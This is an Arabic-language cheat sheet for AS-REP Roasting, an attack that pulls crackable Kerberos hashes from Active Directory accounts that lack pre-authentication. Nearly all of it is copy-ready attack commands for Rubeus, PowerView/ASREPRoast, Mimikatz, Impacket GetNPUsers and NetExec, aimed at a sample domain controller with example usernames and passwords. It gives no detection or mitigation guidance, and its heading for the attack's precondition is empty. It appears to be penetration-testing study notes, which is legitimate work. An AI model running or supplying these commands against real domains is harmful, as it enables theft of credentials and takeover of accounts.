👻 AS-REP Roasting

الـ AS-REP Roasting يستهدف الحسابات التي لا تحتاج Kerberos Pre-Authentication. المهاجم يطلب AS-REP من الـ KDC بدون مصادقة ويكسر التشفير offline.


⚠️ شرط الهجوم


💻 Windows

Rubeus

# كل الحسابات المعرضة
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# حساب معين
Rubeus.exe asreproast /user:svc_test /format:hashcat /outfile:hashes.txt

# مع credentials
Rubeus.exe asreproast /creduser:aarti /credpassword:Password@1 /format:hashcat

PowerView

Import-Module .\PowerView.ps1

# إيجاد الحسابات المعرضة
Get-DomainUser -PreauthNotRequired

# الهجوم باستخدام ASREPRoast module
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName svc_test -Domain ignite.local
Invoke-ASREPRoast -OutputFormat Hashcat

Mimikatz (غير مباشر)

# بعد الحصول على الهاش من طريقة أخرى
sekurlsa::ekeys

🐧 Linux

Impacket — GetNPUsers

# بدون credentials (قائمة مستخدمين)
impacket-GetNPUsers ignite.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.48

# مع credentials (يبحث تلقائياً)
impacket-GetNPUsers ignite.local/aarti:Password@1 -dc-ip 192.168.1.48 -request

# حساب معين
impacket-GetNPUsers ignite.local/ -no-pass -dc-ip 192.168.1.48 -outputfile hashes.txt

# باستخدام hash
impacket-GetNPUsers ignite.local/aarti -hashes :NTLM_HASH -dc-ip 192.168.1.48 -request

NetExec (nxc)

nxc ldap 192.168.1.48 -u 'aarti' -p 'Password@1' --asreproast hashes.txt

# بدون credentials
nxc ldap 192.168.1.48 -u '' -p '' --asreproast hashes.txt